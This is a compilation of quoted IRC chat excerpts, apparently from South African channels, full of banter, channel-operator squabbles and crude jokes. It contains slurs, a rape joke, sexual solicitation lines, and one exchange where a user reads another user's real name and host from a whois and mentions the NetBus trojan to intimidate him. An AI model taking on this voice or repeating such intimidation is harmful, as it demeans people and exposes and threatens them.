<GIz> did u have a conversation about me?
<GIz> u and her?
<LordCow> no u ghei
<LordCow> that's what she said
<LordCow> that's y i put it in quotes
<GIz> im lost now
<Recall> U know who i am?
<Skull-KiD> no.. heaton?
<Recall> Recall from rsachat
<LordCow> u'r .. recall??
<Recall> LordCow, yes i am?
<Ph4ntom> i wish i could gay..
<Ph4ntom> i can't tho :/
<Ph4ntom> exam on monday
<JellyBeanZ> u wish u could gay?
<Ph4ntom> i meant go
<Caramel> wots up?
<LordCow> just fsckin around
<LordCow> bout 2 run off & get sum sleep
<Caramel> lucky u
* LordCow thanx his lucky stars
<Caramel> c ya
<LordCow> will miss ya
<Caramel> well u seem kinda occupied
<m[e]ntor> Does anyone know where I can buy 100 m of wireless lan cable?
<AnachromY> i need your cell fone number
<LordCow> i'm using it
<Stu> im willing to walk thru a gay bar naked...
<Lanula> you'll get raped about 6 times in like 4 secnds
<Stu> tis a risk im willing to take...
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<Ravenking> say r u guyz from UCT
<Zimboon> anybody been hit in the face by W32.Blaster?
<pinkybrain> do we look retarded?
<ChewToy> does anyone know what the name of the url is that u can chat and play games against ppl
<ChewToy> it starts with a j
<ChewToy> but I cant remember
<justplainrob> so Risc, you're quite the Risc-taker.
<HoG> i wanna put something on there adn i must be retarded but i cant find it...
<JillValentine> GuStO, don't make me get physical on your ass ...
<VeXeD> me ass cheeks were sore for a week
<SoftIce> siv gave it to me
<s-one> & I'll leavve now b4 i get logged saying more than i should
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<SSJ> duz any one no how to get unbanned from ur own room ??
<SSJ> duz any one no how to get unbanned from ur own room ??
<Fitted_Virus> there is no way around that - sorry
<SSJ> there is
<SSJ> i did it once
<SSJ> but i forgot
<gry> there was a person on blabber called like_a_surgeon
<gry> can u beleive dat?
<Surgeon> i can, yeah
<Barev_18CpT> nope im a dudE
<LordCow> barev: asl?
<Barev_18CpT> cant u see?
<Barev_18CpT> 18 maLe,,, Capetown
<valentin0> dont you understand sarcasm...
<Barev_18CpT> read my nick
<Bazak> wrong window
<Baby_Babes> ne1 up 4 sum fun?
<Baby_Babes> msg me
<LordCow> that doesn't sound like fun
<Baby_Babes> u horny?
<LordCow> na just finished up
<Baby_Babes> u cant do it twice?
<Baby_Babes> cos i am real horny and wet
<LordCow> does u'r mom know u'r online?
<Baby_Babes> y u care?
<Baby_Babes> how do u even know i have a mom?
<Baby_Babes> she is dead
<Baby_Babes> u no good
<Baby_Babes> good bye
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<sparkie> hey rat i am sparkie
<Darkone> I meet neil for the first time and he was kewl :P
<LordCow> ah k
<LordCow> so would u score him?
<Darkone> god I r not gay
<Darkone> I am quite HAPPY with my Girlfriend thank-you :P
<FuzK_ange|> wot server r u on??
<Jack_CT> damnit get rid of that nick...that is really lame
<apricotman> \j grey
<apricotman> \ j grey
<SpideyLady> i have received a sms on a telkom phone
<SpideyLady> they read it to u
<noddie_x> they do leetspeak?
<SpideyLady> whats leetspeak
<troll314> my girlfriend is having her period tonite so i'm on irc :(
<Angel_dust> lemme c
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<Captain_Dork> when i was in school i was really small
<sk8r_boy> CT has lots ppl
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<Mr_Dobolina> no it just means that they cant phisicaly see and that they cant move themselves with out aid, be it machine or human:)
<LordCow> thanx for clearing that up
<Crimson> i understan better now
<zuban> how r yu
* LordCow kief .. u
<LordCow> wats happenin
<zuban> wel not much
<zuban> was kicked from afrikaans and i one of my friends who
<zuban> is in londen is there so i am
<LordCow> that's fascinating
<zuban> geee ta
<troll314> any islams in here?
<troll314> i is islam too
<shmuck> u is islam too
<shmuck> that is funky
<FonCused> salaams all
<troll314> its easy to be islams: just say "salaams" followed wif a few "ws" and u sorted
<Rambo> I bought a new pc... yay
<Rambo> Then went to Camps Bay
<LordCow> rambo: http://logs.lordcow.co.za/
<SilverRaven> isnt it freezing there at the mo
<Rambo> LordCow, and then?
<LordCow> rambo: erm that's up 2 u i spose
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<saturnz[TRD]> you again
<LordCow> that's me ;p
<saturnz[TRD]> uh huh
<saturnz[TRD]> by the way, this channel has nothing to do with UCT the institution.
<LordCow> so wots it gotta do with
<saturnz[TRD]> for my personl enjoyment.
<LordCow> so y call it uct
<saturnz[TRD]> because i feel like it.
<LordCow> that'd b kewl *if* we had sumthing like chanserv
<saturnz[TRD]> kewl is concept I do not identify with.
<saturnz[TRD]> is a
<LordCow> u didn't get u'r kellogs this mornin did u
<saturnz[TRD]> you welcome to leave
<saturnz[TRD]> I don't come onto IRC to be insulted either.
<Orange_Goblin> they should make spelling words incorectly punishible by deth
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<^VenuS^> i dont get that
<Broni> sash i've said 'hi' so many times 2 u 2day
<suwweal> yeh i know
<SaturnY3k> why aint i in ur logs?
<GoGgA> my mother needing the internet to do her banking so i had to leave 4 a while
<Kryptonite[CE]> U lyieng lauren
<|SecS|> no LauriE
<Kryptonite[CE]> my speeling sux
* PeBB|eZ falls off her chair
<RippedDenim> u fell asleep?
<PeBB|eZ> naa... just froze
<PeBB|eZ> it's cold!
<dance> shit all the ppl r leavin
<dance> HEY EVERYOEN PSL STAY
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<KiLLeRFlY> check this out
<KiLLeRFlY> hold alt and type fax
<NiX0N> I luv that
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<CJuice> do you care?
<CJuice> what we're saying
<LordCow> i dunno what u'r saying
<CJuice> exactly, do you care though?
<LordCow> don't think so
<CJuice> k cool
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<Vhata> wtf is Warped?
<dragon> what is wtf
<Vhata> "where the flibberdydibberdy"
<drs> Or "what the frank?"
<drs> Or "who the foo?"
<Vhata> or "why the freshness?"
* Vhata has never seen it used with "which"
* Vhata has two tuts here
<Vhata> wtf should I mark first?
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<Vhata> he wasn't impressed
<drs> Guess not.
<jits> how do you exit this place?
<Warped> type "/quit"
<radbrad> just type /leaverhodes
<Warped> jits: without the quotes.
<radbrad> with the /
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<sin> so jagy..just u me and the bot left ;)
<Jaguar> and i'm only here because my monitor's power saving just switched on while i was watching blade
<sin> u think i can get the bot 2 wear the gimp suit?
<sin> well its only u me and the bot left ;)
<sin> and i was thinking
<Jaguar> haha, shuddup
<Dare> you need serious help
<Dare> i heared the DR.Ruth colomns in the personality magazine help a lot
<afx> come on
<afx> tell me some more, Doctor.
<Dare> no way....im not doctor
<ASiDMaN> someone ping me
* Si|entBob pings asid....
<Si|entBob> ooooooo that was GOOOOOOD
<Si|entBob> do it again?? *drool*
<Cow> waddup hunibunch
<ALoop> nothing much hey
<ALoop> you sweety pie
<Cow> i r taking a break frum installing x server
<Cow> wot u running?
<ALoop> doz atm
<ALoop> linux box is broken
<ALoop> have to fix it
<ALoop> but i am just too lazy
<Cow> same here
<Cow> bought new graphix card .. having trouble configuring
<Cow> wats up wit u
<ALoop> nothing much hey i have a g/f now and she is legend
<ALoop> and thats about it
<Cow> i meant with linux
<Cow> but that's kewl
* Cow laffs
<ALoop> box was`nt rebooted properly so yeah
<ALoop> power failure
<ALoop> blah blah
<SLeN> need your help
<LordCow> y wattup
<SLeN> can you unbann a certain person from #pe?
<SLeN> her nick is oxygen
<LordCow> don't u have ops?
<SLeN> shamrock banned her
<SLeN> hell i dont know how to unban
* SLeN is stoopid with operator commands
<LordCow> highlite her address
<SLeN> how do i find the address
<quovadis> so howya know?
<quovadis> and if ya say i told u then i'm gonna go hide
<Hitgirl> I'm very fine nu?
<quovadis> heh... u afrikaans eh?
<black-angel> hey wana chat
<black-angel> fine u r just missin out on talking to a blonde chik ..cheers
<LordCow> haha - i was away
<LordCow> so u rate urself ..
<black-angel> i do not!i just no that im not ugly(is that rating urself?)
<Jane_15> hi handsome
<Neurosis> hi yohann
<Neurosis> ur wondering how i know ur name?
<Neurosis> im looking at ur screen right at this instant
<Neurosis> yeah- thats it.....shhh....dont telll the russians
<Neurosis> so...yohann regnard....u ever heard of sumthing called netbus?
<Jane_15> you chop you whoised me
<Jane_15> sly dog
Jane_15 is Rainking@dps53-01-p19.kn.saix.net * Yohann Regnard
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<wildman> when u staying at res?
<LordCow> wen it gets dark normally
<Si|vasurfa> ello dumbass
<LordCow> ey beavis
<Si|vasurfa> me and vine here
<Si|vasurfa> we are like doped up
<Si|vasurfa> heeh we just smoked up
<Si|vasurfa> oh it was good
<LordCow> ah will
<Si|vasurfa> yeah yeah
<Si|vasurfa> hwy mo
<Si|vasurfa> we r fucked up
<LordCow> well i know that
<Si|vasurfa> and we r reading very slowly
<LordCow> an i'm writing very slowly :Þ
<kincs> hi asl
<LordCow> no i'm lordcow
<Mosquito> lordcow that was ugly i didnt do anything to u
<LordCow> mosq: wot
<Mosquito> someone nuked me
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<Mosquito> now u guys took away my ops
<LordCow> mosq: it's part of a deeper plan
<Mosquito> what plan
<Stareyes> a few monthes ago....alot actually I was Unicorn and Moonlight and Flamingo ect
<Baggins> hey u
<bushbaby> i know u?
<Baggins> so u're a bushbaby?
<Baggins> so am i
<Baggins> which bush?
<bushbaby> i'm male btw
<Baggins> cool man
<Renton> but wait who'll be knocking on your door!
<Shai`tan> come knock on my door
<Shai`tan> im waiting
<Renton> u got a good alarm system?
<Shai`tan> how many people have u killed?
<Shai`tan> with a knife?
<Shai`tan> are u white?
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<|GhettoSUperStar> hiya ppl
<|GhettoSUperStar> no opps
<LordCow> u reckon
<Necromancer> i gotta idea
<Necromancer> everyone leave then we get opz !
<Jaguar> omg, that's ingenius
<m3nt0r> LordCow : all yer deop protection and shit doesn't help dewd
<m3nt0r> you need to get an anti kick thing
<m3nt0r> then everyone will want to suckle on yer dicker
<LordCow> oh yes
<LordCow> and y don't i redesign irc while i'm at it
<s-one> speak for yourself mentor
<m3nt0r> LordCow: not a shit idea :>
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<LordCow> i think it's safer this way ;)
*** LordCow sets mode: +o m3nt0r
<m3nt0r> i dunt care
<m3nt0r> i am going to sleep now
<m3nt0r> muh dick is real sore
*** LordCow sets mode: -o m3nt0r
*** LordCow sets mode: +mnt
*** LordCow sets mode: -m
* s-one wil NOT ask why
*** LordCow sets mode: +m
<LordCow> damn script
<LordCow> never worx
<LordCow> mentor: get ready for school :Þ
*** LordCow sets mode: +v m3nt0r
<m3nt0r> i am not going to skewl
<m3nt0r> not for this week
<s-one> why not?
<LordCow> all the straight guys sign a petition?
<s-one> *smothered laugh*
<m3nt0r> because the prefects and all the lamerz are going on the std6 camp
<m3nt0r> so wtf is the point
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<s-one> and so?
<m3nt0r> so i stay at home
<m3nt0r> thats what
<saskia> i'm still here, talk to me
<L0st> lo saskia
<tiggerr> lo saskia
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* Tequilla waves cya to all
<tiggerr> hey true blue what did colin do?
<tiggerr> bye tequilla
<tiggerr> whare are you saskia?
<True_B|ue> tiggerr : why dont u just fukken shut up?
<[Dunax]> I'm just never here
<Hellion> hey who's gonna get a p3 here ?
<MolecA> Me me!!
<m3nt0r> i will prolly
<m3nt0r> you need new mother board right ?
<MolecA> <maverick> CU: what's the diff between the a and the normal Celeron? <---------- and this guy founded #quake *REALLY*
<Hellion> shame man
<m3nt0r> fuk ....
<Hellion> he knows more about linux than god man
* m3nt0r shakes maverick's cock
<MolecA> But ... um .. really
<MolecA> How out of it can one person be :P
<LordCow> fips11.zip or sumthing i got off tucows
<m3nt0r> a util that partitions a existing drive without reformatting
<m3nt0r> yeah thats the one
<m3nt0r> so you can basically split the drive in two
<m3nt0r> but i tried it this afternoon
<m3nt0r> didnt work so then i had to wank
<SLeN> i really need it
<|singe|> vibrator not got enuff power ?
<SLeN> and the last place i remeber putting it was in those boxes
<SLeN> nope needs at least another 4 batteries
<|singe|> got ol slen here
<|singe|> usin ishare , he ircin next to me
<LordCow> ahh kewl
<LordCow> wot position?
<|singe|> haha , position right left , elbow up , back leg extended
<|singe|> hehe u like that ?
<SLeN> you fugger!!!!
* SLeN rubs my leg to rid the burn
<monkey_bouy> i dont feel like myself today...i feel like....MONKEY_BOUY
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<Time_Bomb> what do i type
<laurie_skecha> alt F4
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<^Cookiemonster^> this is such a cool nick
<^Cookiemonster^> who gave it to you
<^Cookiemonster^> your mother
<^Cookiemonster^> u fucking idiot
<LordCow> i remember quite the bit've abuse coming from u ..
<^Cookiemonster^> yeah so fuck of
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<sin> im having a competion with a friend who can get ops 1st ;)....if im bothering u pls tell me 2 piss of ta :P
* madchen laughs
<madchen> which friend?
<sin> LC:last 1 on #za 2 get ops has 2 kiss dm's mother...on the lips ;)
* madchen grins
<madchen> well he loses
<madchen> tell him he has a cool webpage:)
<sin> hehehe ta
later on ..
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<s-one> my yping isn't that reliable rigt now
*** DeathMage changes topic to 'Simba Surprise!'
*** sin is now known as simba
*** DeathMage is now known as stupid9yearoldkid
<simba> Hello kiddie!
<stupid9yearoldkid> i love you simba
<simba> me and candice here r gonno suprise u ok?!?!?
<stupid9yearoldkid> *unexpected scream*
<simba> were u suprised?!?!?!
<stupid9yearoldkid> very much so
<stupid9yearoldkid> simba: now ask me some dumb questions
<simba> ok..... . what colour is an orange?!?
<stupid9yearoldkid> simba: uhhmm...orange I think? *duh*
<simba> well done!!!
<stupid9yearoldkid> *crowd roars*
<simba> here have a fagy napsack that all your friends can laugh at
<simba> and beat u up over
<stupid9yearoldkid> why thank you simba
<simba> u wanna win the simba hampper kiddie!??!?!
<stupid9yearoldkid> simba: OKAY..next question, make it easier... :)
<simba> ok...now how old r u...
<stupid9yearoldkid> you said it would be easy!
<stupid9yearoldkid> ummm...9 i think...
<simba> here's some chips that the bigs kids can steal from u at break!!
<stupid9yearoldkid> i love you simba
<simba> dont worry kiddie...theres nothing wrong with hugging a grown man in a lions costume
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